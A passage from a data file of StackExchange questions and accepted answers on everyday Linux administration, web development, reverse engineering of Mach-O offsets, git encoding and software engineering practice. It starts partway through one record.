/lib64/libbz2.so.1 (0x00007f4f032b1000)libz.so.1 => /lib64/libz.so.1 (0x00007f4f0309b000)From this I can see libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f4f03b3f000). My assumption is that the higher version that libkeyutils.so.1 links to is causing the problem but I'm not sure how to resolve this since when searching for this lib it shows me the package that I already have installed. Any ideas?EDITI just want to add that Ijaz Khan's suggestion resolved the issue from me, I had a version issue when installing without Yum. "  , "title": "Redhat error while loading shared libraries: libkeyutils.so.1: cannot open shared object file: Permission denied"  , "tags": "rhel;libraries;shared library"  } 
{  "id": "_cstheory.7491"  , "question": "I'm looking for a reference for the following result:Adding two integers in the factored representation is as hard as factoring two integers in the usual binary representation.(I'm pretty sure it's out there because this is something I had wondered at some point, and then was excited when I finally saw it in print.)Adding two integers in the factored representation is the problem: given the prime factorizations of two numbers $x$ and $y$, output the prime factorization of $x+y$. Note that the naive algorithm for this problem uses factorization in the standard binary representation as a subroutine.Update: Thanks Kaveh and Sadeq for the proofs. Obviously the more proofs the merrier, but I would also like to encourage more help in finding a reference, which as I said I'm fairly sure exists. I recall reading it in a paper with other interesting and not-often-discussed ideas in it, but I don't recall what those other ideas were or what the paper was about in general."  , "title": "Adding integers represented by their factorization is as hard as factoring? Reference request"  , "tags": "cc.complexity theory;reference request;time complexity;factoring;encoding"  } 
{  "id": "_unix.203338"  , "question": "Yesterday I add a SSD to my PC configuration and I make on it a fresh installation. At the moment of installation I replace my old HDD and there was only the SSD. When the installation finish I make a manually shutdown to attach the HDD with cables and then turn on the pc. After that I can't open my information on the HDD but in BIOS everything seems fine. From second HDD I can mount only boot partition which is 524MB from 500GB HDD. When I check with fdisk -l what is the situation the answer looks fine:Disk /dev/sda: 128.0 GB, 128035676160 bytes255 heads, 63 sectors/track, 15566 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x000d66f4   Device Boot      Start         End      Blocks   Id  System/dev/sda1   *           1          64      512000   83  LinuxPartition 1 does not end on cylinder boundary./dev/sda2              64       15567   124521472   8e  Linux LVMDisk /dev/sdb: 500.1 GB, 500107862016 bytes255 heads, 63 sectors/track, 60801 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x16481d17   Device Boot      Start         End      Blocks   Id  System/dev/sdb1   *           1          64      512000   83  LinuxPartition 1 does not end on cylinder boundary./dev/sdb2              64       60802   487873536   8e  Linux LVMDisk /dev/mapper/vg_andromeda-lv_root: 53.7 GB, 53687091200 bytes255 heads, 63 sectors/track, 6527 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/vg_andromeda-lv_swap: 8136 MB, 8136949760 bytes255 heads, 63 sectors/track, 989 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/vg_andromeda-lv_home: 65.7 GB, 65682800640 bytes255 heads, 63 sectors/track, 7985 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Here is a screenshot of computer:///When I execute mount /dev/sdb2 /storage as rootI get the following error:mount: unknown filesystem type 'LVM2_member'When I run vgs here is the answer:WARNING: Duplicate VG name vg_andromeda: Existing gc5zhX-vrW9-mEDA-mzNN-kZxf-9nON-1aWwGY (created here) takes precedence over bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73WARNING: Duplicate VG name vg_andromeda: Existing gc5zhX-vrW9-mEDA-mzNN-kZxf-9nON-1aWwGY (created here) takes precedence over bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73WARNING: Duplicate VG name vg_andromeda: gc5zhX-vrW9-mEDA-mzNN-kZxf-9nON-1aWwGY (created here) takes precedence over bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73WARNING: Duplicate VG name vg_andromeda: gc5zhX-vrW9-mEDA-mzNN-kZxf-9nON-1aWwGY (created here) takes precedence over bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73So can anyone helps me because I can't open my information from the HDD. I've tried to mount /dev/sdb and /dev/sdb2 (there is no problem with /dev/sdb1 because there is the boot partition). On the fresh installation I use the same username and hostname as on the old. Also on the old HDD there is a other CentOS installation but there is a lot of information and I want copy it first to the SSD and then I'll format the HDD.Best regards,Georgi!"  , "title": "Can't mount second hard drive on CentOS 6.6 - Duplicate VG name"  , "tags": "mount;hard disk;automounting;ssd;duplicate"  , "accepted_answer": "Volume group name should be unique on system, by design. Problem occurs when a disk is moved from a system to another.So you have few options (detailed below)rename the VG on the external [not mounted] disk(s).rename the VG of your system (not realistic)merge both volume group into a single one (probably needs to rename first)option 1 - rename the VG on the externalUse the command vgrename. You need to use vgdisplay or vgs,to retrieve the volume group UUID.$ vgs -o vg_name,vg_attr,vg_uuidVG           Attr   VG UUID                               vg_andromeda wz--n- gc5zhX-vrW9-mEDA-mzNN-kZxf-9nON-1aWwGY????         ?????? bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73$ vgrename bwQkRq-mgph-9BYf-9WPF-cKz0-FLFq-0Qxs73 vg_andromeda_old$ vgchange -ay vg_andromeda_old(please, edit/update this post with the actual ouput of the command vgs)option 2 - rename the VG of your systemThis is not realistic. You can't rename an active volume group, so you would have to boot on a CD/DVD, rename the VG, and fix your system configuration in various places (fstab, bootloader)...However,  since your installation is fresh, you could reinstall your system with another name.option 3 -  merge both volume group into a single oneYou could merge both VG, but it has a few caveats : 1. it make sens if both drives are meant to remain on the system. 2. you can't have to LV with the same name in a single VG. 3. you have an SSD and an HDD. it's sensible to keep them on distinct VG for clarity. 4. the vgmerge command seems to only merge two VG by Name (not UUID), so you have to rename the duplicate VG anyway."  } 
{  "id": "_unix.66021"  , "question": "I need to copy file between Linux machines. The problem that the user I use to login (myuser), is different from the user that can access the file.If I just ssh to the machine, I can switch the user using sudo su someuser, can I do it somehow while scp?While using WinSCP I managed to do it, by configuring the SCP/Shell, so I believe there must be a similar way to do it via pure shell."  , "title": "Changing user while scp"  , "tags": "users;scp"  , "accepted_answer": "Assuming that the user you CAN ssh to doesn't need a password to sudo su into the target user, you can try this:dd if=myfile | ssh some.host sudo -u targetuser dd of=myfile ... Mind, I'm still unconvinced that simply configuring targetuser to only allow scp/sftp/rsync over SSH and using a RSA keypair for authentication isn't a much better option."  } 
{  "id": "_unix.230486"  , "question": "I am currently using Virtualbox to run this server where my current disk space is:$ df -hFilesystem                      Size  Used Avail Use% Mounted on/dev/mapper/ol-root              50G   44G  6.1G  88% /devtmpfs                        3.9G     0  3.9G   0% /devtmpfs                           4.0G   80K  4.0G   1% /dev/shmtmpfs                           4.0G  9.0M  3.9G   1% /runtmpfs                           4.0G     0  4.0G   0% /sys/fs/cgroup/dev/sda1                       497M  166M  331M  34% /boot/dev/mapper/ol-home              26G  2.9G   23G  12% /homeI would like to increase the /dev/mapper/ol-root size by 12gb. I already increased the size of the .vdi file. Then used gparted to allocate the unallocated space.However all it's done is massively increase my ol-home volume with a bunch of unused space. I'd like to move 12gb of that available space to that of ol-root.Can someone explain how to go about doing this and why gparted added the space to ol-home instead?"  , "title": "How to move space from 1 file system to another?"  , "tags": "linux;filesystems;virtualbox;gparted"  } 
{  "id": "_webmaster.61575"  , "question": "I have a glyphicons in Bootstrap 3. They work very nicely here:latest Chromelatest Firefoxlatest Safarilatest Explorerlatest Android At one facility, the glyphicons don't show. The buttons come up blank. How do I troubleshoot? They are security sensitive there. I don't have systems or network access.. and am not in a position to request that.  Troubleshooting with advanced tools isn't going to happen. Here's what I have access to:Internet Explorer 9Behind a very secure firewallSometimes, I think the glyphs not showing is the IE 9.. but my code should be addressing that.Sometimes, I think their firewall is blocking the CDN. Can I enter a URL into a browser to test if the CDN is there?Sometimes, I think my FB share and like buttons upset this facilty's firewall, and they tie the whole thing down.Any suggestions at how I begin to research this? Or maybe you have an outright idea for IE 9 and glyphs (though my code is very-very close to the demo's which work).UPDATE: I never did solve the problem of getting glyphs to render. However, out of deadline driven desperation I did do a successful workaround: I switched to Font-Awesome. FA works as desired, though I like the Glyph graphic design better."  , "title": "Diagnosing Bootstrap 3 Glyphicon Button Icons Not Showing"  , "tags": "internet explorer;bootstrap"  } 
{  "id": "_reverseengineering.15221"  , "question": "Hello reverse engineers,I am reverse engineering a Mach-O executable for iOS.File says: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O arm_v7 executable] [64-bit architecture=12].I need to convert a virtual address to a file offset in a Mach-O file.In IDA, I see some data in the data segment with the virtual address 0x0000000100366720, which I want to read with a C program.Using hexdump -C -v, I saw that the virtual address corresponds with the file offset 0xa9a720:00a9a720  89 00 00 00 00 00 00 00  50 b7 39 00 01 00 00 00  |........P.9.....|00a9a730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  |p......PS......|00a9a760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  |XS..............|00a9a770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a7a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a7b0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  |.........W......|00a9a7c0  98 cf 32 00 01 00 00 00  94 cf 32 00 01 00 00 00  |..2.......2.....|00a9a7d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a7e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a7f0  00 67 36 00 01 00 00 00  c0 cf 32 00 01 00 00 00  |.g6.......2.....|00a9a800  20 54 12 00 01 00 00 00  7c 57 12 00 01 00 00 00  | T......|W......|00a9a810  38 ce 32 00 01 00 00 00  10 ce 32 00 01 00 00 00  |8.2.......2.....|00a9a820  34 ce 32 00 01 00 00 00  f0 53 12 00 01 00 00 00  |4.2......S......|00a9a830  51 00 00 00 e8 03 00 00  2c 00 00 00 25 00 00 00  |Q.......,...%...|00a9a840  46 00 00 00 ff 29 11 17  00 00 00 00 4b 17 00 00  |F....)......K...|00a9a850  80 00 00 00 08 00 00 00  08 00 00 00 0a 00 00 00  |................|00a9a860  00 00 00 00 0f 00 00 00  28 1b 00 00 d0 03 00 00  |........(.......|00a9a870  c8 02 00 00 a0 01 00 00  00 00 00 00 58 02 00 00  |............X...|00a9a880  a8 02 00 00 d8 01 00 00  00 00 00 00 50 01 00 00  |............P...|00a9a890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |H...............|00a9a8a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a8b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a8c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|00a9a8d0  00 00 00 00 29 da f5 21  a1 b5 7a bf e9 7a d7 5b  |....)..!..z..z.[|00a9a8e0  3a 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  |:.Ir.... g6.....|00a9a8f0  f0 e2 32 00 01 00 00 00  20 e3 32 00 01 00 00 00  |..2..... .2.....|Using IDA:0000000100366720  89 00 00 00 00 00 00 00  50 B7 39 00 01 00 00 00  ........P.9.....0000000100366730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................0000000100366740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................0000000100366750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  p......PS......0000000100366760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  XS..............0000000100366770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................0000000100366780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................0000000100366790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003667A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003667B0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  .........W......00000001003667C0  98 CF 32 00 01 00 00 00  94 CF 32 00 01 00 00 00  ..2.......2.....00000001003667D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003667E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003667F0  00 67 36 00 01 00 00 00  C0 CF 32 00 01 00 00 00  .g6.......2.....0000000100366800  20 54 12 00 01 00 00 00  7C 57 12 00 01 00 00 00   T......|W......0000000100366810  38 CE 32 00 01 00 00 00  10 CE 32 00 01 00 00 00  8.2.......2.....0000000100366820  34 CE 32 00 01 00 00 00  F0 53 12 00 01 00 00 00  4.2......S......0000000100366830  51 00 00 00 E8 03 00 00  2C 00 00 00 25 00 00 00  Q.......,...%...0000000100366840  46 00 00 00 FF 29 11 17  00 00 00 00 4B 17 00 00  F....)......K...0000000100366850  80 00 00 00 08 00 00 00  08 00 00 00 0A 00 00 00  ................0000000100366860  00 00 00 00 0F 00 00 00  28 1B 00 00 D0 03 00 00  ........(.......0000000100366870  C8 02 00 00 A0 01 00 00  00 00 00 00 58 02 00 00  ............X...0000000100366880  A8 02 00 00 D8 01 00 00  00 00 00 00 50 01 00 00  ............P...0000000100366890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  H...............00000001003668A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003668B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003668C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................00000001003668D0  00 00 00 00 29 DA F5 21  A1 B5 7A BF E9 7A D7 5B  ....)..!..z..z.[00000001003668E0  3A 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  :.Ir.... g6.....00000001003668F0  F0 E2 32 00 01 00 00 00  20 E3 32 00 01 00 00 00  ..2..... .2.....In the post Convert Mach-O VM Address To File Offset this formula is mentioned:you need to find the segment (LC_SEGMENT) load command which covers  the address, then do something like this:fle_off = (address-seg.address)+ seg.offsetI have this load command in my Mach-O header:HEADER:0000000100000380 ; LC_SEGMENT_64 - 64-bit segment of this file to be mappedHEADER:0000000100000380                 segment_command_64 <0x19, 0x5E8, __DATA, 0x100360000, 0x50000, \\HEADER:0000000100000380                                     0x360000, 0xC000, 3, 3, 0x12, 0>If I fill in the formula:fle_off = (0x0000000100366720 - 0x100360000) + 0x360000 = 0x366720The result is not the same file offset as 0xa9a720, which I found out using hexdump.It seems like I just calculated the offset from the base address.What am I doing wrong?"  , "title": "Mach-O : Convert virtual address to file offset on disk"  , "tags": "ida;c;ios;mach o"  , "accepted_answer": "The offsets in the LC_SEGMENT command are counted from the beginning of the Mach-O header in the file. Normally the Mach-O header is at file offset 0, however OS X and iOS support so-called fat files which can contain several Mach-O files (usually for different architectures). You need to account for that and add a corresponding delta to the file offset, or, alternatively, extract the subfile you're interested in (e.g. using lipo) and work on a single file directly."  } 
{  "id": "_softwareengineering.205173"  , "question": "I wrote a number of NodeJS modules (some of which are actually good, in my modest opinion). I basically forgot to set a license for them.I would like to pick the AGPL (Affero GPL).How do I do that? Can I just get away with a LICENSE file in the project? Or do I need a license disclaimer in every single file in the project? What about CSS?"  , "title": "How do I license my software under a free license?"  , "tags": "github;licensing;gpl;agpl"  } 
{  "id": "_webmaster.6375"  , "question": "Looking in Google Webmaster tools for my site, the sixth most common keyword is life. This appears a lot because I mention artificial life and in places second life in the page text. I want to increase the relevance of this page in terms of the keywords in the text, not as just life on its own, which as you can see, is far to vague to be of use.How can I increase the ranking of artificial life as a keyword instead of just life on my site?"  , "title": "Single word keywords against 2 or 3 word keywords for SEO"  , "tags": "seo;pagerank;keywords"  , "accepted_answer": "You don't want to focus on one or two keywords for an entire site. Search engines don't rank sites. They rank pages. What that means is you want to focus on the keywords of specific pages. If you want to rank well for a certain keyword, whether it is a one or three word phrase, you need to dedicate a page to content related to that keyword(s). So if you want to have a page rank for artificial life you need to create  page about artificial life. If you want your home page to rank for artificial life then you will need to alter your content to focus more on artificial life. This includes altering your internal links to include that phrase in it, etc."  } 
{  "id": "_unix.145359"  , "question": "I have 2 hard drives 3TB each.  The first of these drives is full with very important content.  I have encrypted the second 3TB drive using the following technique:https://www.youtube.com/watch?v=J_g-W6hrkNAand have copied the files from the non encrypted first drive to the encrypted second drive.  I now want to encrypt the first drive.  How do I go about doing that?  It has content in it, so I am assuming if I use the above link to encrypt it, the drive will be wiped?"  , "title": "Encrypting drive which has content"  , "tags": "encryption;dm crypt"  } 
{  "id": "_softwareengineering.347445"  , "question": "Git can generate patches/diffs for binary files as well as for text files.I'm trying to figure out what encoding it uses for its binary patches.Here is an example:diff --git a/www/images/openconnect.png b/www/images/openconnect.pngnew file mode 100644index 0000000000000000000000000000000000000000..51a5d620083cafdc8be07fc42db44ee4a273caccGIT binary patchliteral 55947zcmdRWhd<R{{QouL+Lx^CE7^o(&x`1mLiWne-g{(SE4%EOaTT&R8Ie)46SA_pbc?KPzzUO|vkMHk)_}#}t>6X0T@AEpZ*K-|lT94EzNSR0>5D3M64OJZo1TO`A$Uup}J5o}Fzs^B+5FT{OaD0l@!ZDPTnN!&GzydV&wVcZAa(v9vV@a7F~HAC+wZg$>&mY%i{KR-WV...zM_(nPM^0iqGn&ziW^}xgq{7*>(Z~zK&uB(7n$e8P)2d=17EN{7l9w}@(Trv^qY==mzVj$pbc}Z>Q83UQojAk^WG1F>eAQJOc8zsxw&S*w6n$e8P)3L}vzB|q+oEgn%Ml+fbz)3L}vX6CCI&1gn5ngGoh$c$z*qZ!R;AX+sH#8%$gAZR*cATyfLjAk?eS~Uy=GVLP*l@a=IAWJWWZ(TrvU{C~H_V_Z$W5taY|002ovPDHLkV1k~|z(xQ7literal 0HcmV?d00001This is clearly some kind of binary-to-ASCII encoding but it is not the common Base64. It appears to use more ASCII characters and all the encoded lines (except for the last one!?) begin with z."  , "title": "What is the encoding used in Git's binary patches?"  , "tags": "git;text encoding;ascii"  } 
{  "id": "_unix.204912"  , "question": "I want to run a complex script via ssh#!/bin/shARRAY1=(server1sserver123server12server14server13)for i in ${ARRAY1[@]};do ssh  $i     case \\$HOSTNAME in server1.domain.com)echo try1  ;;server12.domain.com)echo try12  ;;*)echo try123  ;;esacThe problem is ssh read my internal hostname variableand return try123,is possible to read the internal variableof remote site?I have tried \\$VARIABLE and $VARIABLE but result is the same"  , "title": "SSH: remote variable"  , "tags": "bash;ssh;variable"  , "accepted_answer": "Using \\$HOSTNAME is the correct way to escape the variable in this case.However, that variable often contains the hostname (non-fqdn), or may not be populated. You should rather use the command hostname -f to get your server FQDN.I don't know how will look like your final script, but connecting to server1 then check if this server is server1 may be some kind of useless (out of security purpose).You could write some scripts, for instance script1.sh containingecho $HOSTNAME / $(hostname -f)thenfor i in ${ARRAY1[@]};do    case $i in      server1) ssh $i < script1.sh      ;;      server2) ssh $i < script2.sh      ;;      *) ssh $i < script_${i}.sh    esac done EDIT: As stated in comments, OpenBSD shipped version of hostname doesn't understand -f option. The default behaviour is to display FQDN."  } 
{  "id": "_datascience.21764"  , "question": "I have 20 000 plots most of which follow patterns similar to those I sketched below (sorry for my poor drawing skills!). I am now looking for a simple, ideally unsupervised algorithm, that would allow me to quickly categorize them and potentially find new patterns. I was considering Dynamic Time Warping, but I am afraid that it will not allow me to distinguish between, say, plots 1 and 2.Each single plot displays a sequence of binary decisions made by a single subject. These data were smoothed to create the above plots. I do have raw data. Subjects' binary decisions were made over a fixed time interval (5 minutes), but subjects could make as many decisions as they wanted. In other words, the number of data points differs between subjects but they span the same time (5 minutes). I analyze the data looking at choice by choice (i.e., choice 1, choice 2, ...), and not across time. However, shapes of these curves are relatively invariant to what ordering variable I choose.I would appreciate your advice on a quick way of categorizing these data - I am open to traditional machine learning approaches as well as deep learning. Right now, I don't care about understanding why these curves have different shapes. Once subjects' data are clustered, cluster numbers will serve as an input to a model, which I will use to gain that understanding.Many thanks for your help!"  , "title": "what is an appropriate algorithm for unsupervised clustering of curves or images?"  , "tags": "machine learning;deep learning;image classification;unsupervised learning;sequential pattern mining"  } 
{  "id": "_codereview.54763"  , "question": "CSS and responsiveness in multiple columns with fixed and scaleable elements can be done in many ways.I have created a solution that seems to work, though I have no idea whether this is best practice.FiddleCSShtml, body { margin:0 auto; padding:0;  background: #fff; text-align: center; }/* Clearfix============================================================================ */.CF { display:inline-block;overflow:hidden; }/* Elements============================================================================ */div#container {max-width: 1140px;  min-width: 960px; margin:0 auto; margin-top: 10px; padding:0;  background:#0F9;  position:relative;}    div#left-menu {width: 100px; background:#F30; position: absolute; top:0; left:0;   }    div#information {padding: 10px 10px 25px 10px; background:#39C;  margin-left:100px;}        div#information-wrapper {position:relative; background:#3FF; }            div#information-left-menu {width: 125px;  background:#C30; position: absolute; top: 0; left:0;}            div#content {background:#FC0; margin-left: 125px; text-align:left;}HTML<div id=container class=CF >    <!-- This is fixed Width -->    <div id=left-menu>    <p>Left 100px wide </p>    </div>    <!-- Width scales to size of Container -->    <div id=information class=CF>        <div id=information-wrapper>            <div id=information-left-menu>Fixed width of 125px </div>            <div id=content>text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text text </div>        </div>      </div></div><!-- / END / Container / -->"  , "title": "Responsive / CSS fixed and variable widths"  , "tags": "html;css"  , "accepted_answer": "To have a responsive web design, you need to do more than have no horizontal scrolling when viewed with a desktop browser.  You have to adapt to the viewport of any device, from the really small (phone) to the really big (desktop).  This code does not, sorry.Responsive web design is typically achieved by using media queries (there are other ways, but they're unavailable in IE versions older than 10), which are completely absent from your code.  I suggest you take the time to learn about what responsive web design is:http://bradfrostweb.com/blog/post/7-habits-of-highly-effective-media-queries/http://www.smashingmagazine.com/responsive-web-design-guidelines-tutorials/http://www.html5rocks.com/en/mobile/responsivedesign/http://thesiteslinger.com/blog/responsive-design-why-youre-doing-it-wrong/http://blog.cloudfour.com/the-ems-have-it-proportional-media-queries-ftw/That said, there are other things that are not good here:Absolute positioning of the left menu.  In general, absolute positioning should be avoided unless it is absolutely necessary (eg. drop menus, etc.).  Absolutely positioned elements can become cut off if there's not enough surrounding content to prevent it from overflowing its ancestor elements.  Multi-column layouts can easily be done using floats or the table display properties (eg. display: table-cell) and the content won't get cut off.Using px to restrict the width of text containing elements.  If the user needs to increase their font-size for accessibility reasons, 100-125px is no longer an appropriate sized container for that text.  You should be using ems or other relative units instead.No semantic markup.  With HTML5 (see: http://html5doctor.com/), a whole slew of new semantic container elements have been added (eg. article, nav, aside, section) which may or may not be more appropriate than the general purpose div (I can't tell because there's no real content here).  Markup should be chosen to describe the content first, then you can worry about how to make it pretty."  } 
{  "id": "_softwareengineering.83370"  , "question": "I am considering going back to school for my masters and I've been looking at several avenues I can take.  I've been considering either an MBA or an MSIS degree.  Overall I know that an MBA is going to give me a solid skill set that can help me become an executive.  However they seem to be a dime a dozen these days and the University I can get into is good, but it's not exactly in the top 100 anything.  My undergrad MINOR was in Business Information Systems.  I'm rusty as hell, considering I haven't touched it, but an MSIS would be more in the direction of my past academic experience and seems to touch both on business management and IT.  Question...With an MSIS will I just be a middleman?  Will I really be an important person with a real skill set or will I merely be someone who isn't quite cut out to be a manager and who is clueless about the tech side?Is an MSIS degree going to give me a real chance to move up the pay scale quickly or am I better off learning programming, networking through another BS degree?  What will give me more upward mobility career wise?  An MBA or an MSIS?"  , "title": "MBA versus MSIS"  , "tags": "education;management;functional programming"  } 
{  "id": "_vi.10615"  , "question": "I'm using codex for generating tags file but vim does not followtags such as$ <$> . <*> with ctrl-] it only works if I manually call tag:tag $Is it a bug? or there is something that I don't knowthanks"  , "title": "ctrl-] does not work for tags consist of special character ( operators in haskell )"  , "tags": "tags"  , "accepted_answer": "ctrl-] uses the word under the cursor, (as opposed to a WORD) which means that any punctuation is excluded. From :h word:A word consists of a sequence of letters, digits and underscores, or a  sequence of other non-blank characters, separated with white space (spaces,  tabs, ).  This can be changed with the 'iskeyword' option.  An empty line  is also considered to be a word.So your options are:Select it with visual mode first to tell it explicitly what you want to search for, or Change the mapping to use a WORD (which is any white space separated characters).You can do so with the following mapping in your vimrc:nnoremap <silent><C-]> :exe tag .expand('<cWORD>')<CR>nnoremap: create a non-recursive, normal mode mapping<silent><C-]>: map CTRL + ] and do it without echoing anything:exe: execute the following string as a commandtag : use the tag command.expand('<cWORD>'): append the WORD under the cursor to the tag command<CR>: a carriage return. Simply executes the command.Please note that doing this will not allow you to use tags in the vim help files as they surround their tags with ||!See :h word, :h WORD for more info."  } 
{  "id": "_unix.219260"  , "question": "I have a computer that I need to boot into, but the passwords seem to be bogus. Additionally I can't mount the drive for writing, and it is a mips processor, so I can't stick it in another machine to run it. Anyhow, they passwd file has some users that look like this, with a star after the user-name. does that mean blank password or what? root:8sh9JBUR0VYeQ:0:0:Super-User,,,,,,,:/:/bin/kshsysadm:*:0:0:System V Administration:/usr/admin:/bin/shdiag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/cshdaemon:*:1:1:daemons:/:/dev/nullbin:*:2:2:System Tools Owner:/bin:/dev/nulluucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/cshsys:*:4:0:System Activity Owner:/var/adm:/bin/shadm:*:5:3:Accounting Files Owner:/var/adm:/bin/shlp:VvHUV8idZH1uM:9:9:Print Spooler Owner:/var/spool/lp:/bin/shnuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucicoauditor:*:11:0:Audit Activity Owner:/auditor:/bin/shdbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/shrfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh"  , "title": "what does star in passwd file mean?"  , "tags": "users;password;data recovery"  } 
{  "id": "_webmaster.38369"  , "question": "I'm looking for a something to visually create a sitemap for one of my websites. Id like something in a tree structure, so I have the hierarchical view of my site.A couple requirements I have though, the ability to map password protected pages, and (not REALLY a requirement) the ability to integrate Google Analytics data. "  , "title": "Visual sitemap generater"  , "tags": "google analytics;sitemap"  } 
{  "id": "_unix.145682"  , "question": "Is it possible to make an aoutput showing extended desktop to the left of the primary? I'm using xfce.$ xrandr --output VGA1 --primary --right-of LVDS1The above command makes VGA1 as extended desktop to the right of LVDS1 but the primary part of the desktop (the part showing the apps menu button, the desktops, apps instances, applets, time and date ...) is on LVDS1. I want it on VGA1."  , "title": "Put the XFCE extended dektop on the right-side monitor"  , "tags": "xorg;xfce;xrandr;multi monitor"  } 
{  "id": "_softwareengineering.201804"  , "question": "Most of my programming experience is in OOP where I have fully embraced the concepts thereof including encapsulation.  Now I'm back to structured programming where I have a tendency to logicaly seperate my code using subprocedures.  For example, if I have a large switch case (30 cases or more), I'll put that in it's own procedure so the main method looks a little neater.  Generally, subprocedures are used to help keep things DRY, but in some instances these logical seperations I create usually amount to being used only once.Some of my code was being reviewed, and it was mentioned that this is a bad idea.  His backing to this claim is that it muddies the water and unecessarily hides code.  Instead, he insists that a subprocedure MUST be used more than once to merit making a subprocedure out of a section of code.  While this idea of hiding code is a common place in OOP, he does admit to having little to no understanding of OOP concepts and has only ever worked with structured programming.  Is there any backing to his claim or is this merely programming dogma?"  , "title": "Is using subprocedures to logically separate my code a bad idea for structured programming?"  , "tags": "procedural;structural programming"  , "accepted_answer": "Encapsulation, Data Hiding, Abstraction, Writing Readable Code etc. are nothing that is unique to OOP. In fact, all of those were invented long before OOP. Really, the only difference between OOP and other paradigms is the mechanism of Data Abstraction: OOP uses Procedural Abstraction, others typically use Abstract Data Types.Breaking up Subroutines such that every statement (or top-level expression in the case of languages that don't have statements) is on the same level of abstraction and organizing them so that the code tells a coherent story, is a universal principle, completely unrelated to any particular paradigm."  } 
{  "id": "_ai.3164"  , "question": "I was trying to build an OCR system and heard about ANNs. I am weak at mathematics and statistics and couldn't stick up to reading those massive mathematical documents (research papers or ANN related books). But I kind of figured out that ANN training is all about balancing of weights and biases. Am I right? And please also point me to some docs where I can get help understanding ANNs to use in my OCR system."  , "title": "Neural Network training"  , "tags": "training;artificial neuron"  , "accepted_answer": "Sorry, this is a very broad area. Proper understanding of neural networks requires advanced mathematics. It's not sufficient to say balancing of weights and biases because most ML algorithms have weights. You seriously need to grab a book.OCR system itself is also very broad, it includes various object recognition techniques. You haven't even mentioned what you want to detect.If you want to study, try:https://github.com/Elucidation/tensorflow_chessbotThis is a well-documented OCR example for chess pieces. The project uses both regression and convolutional neural network."  } 
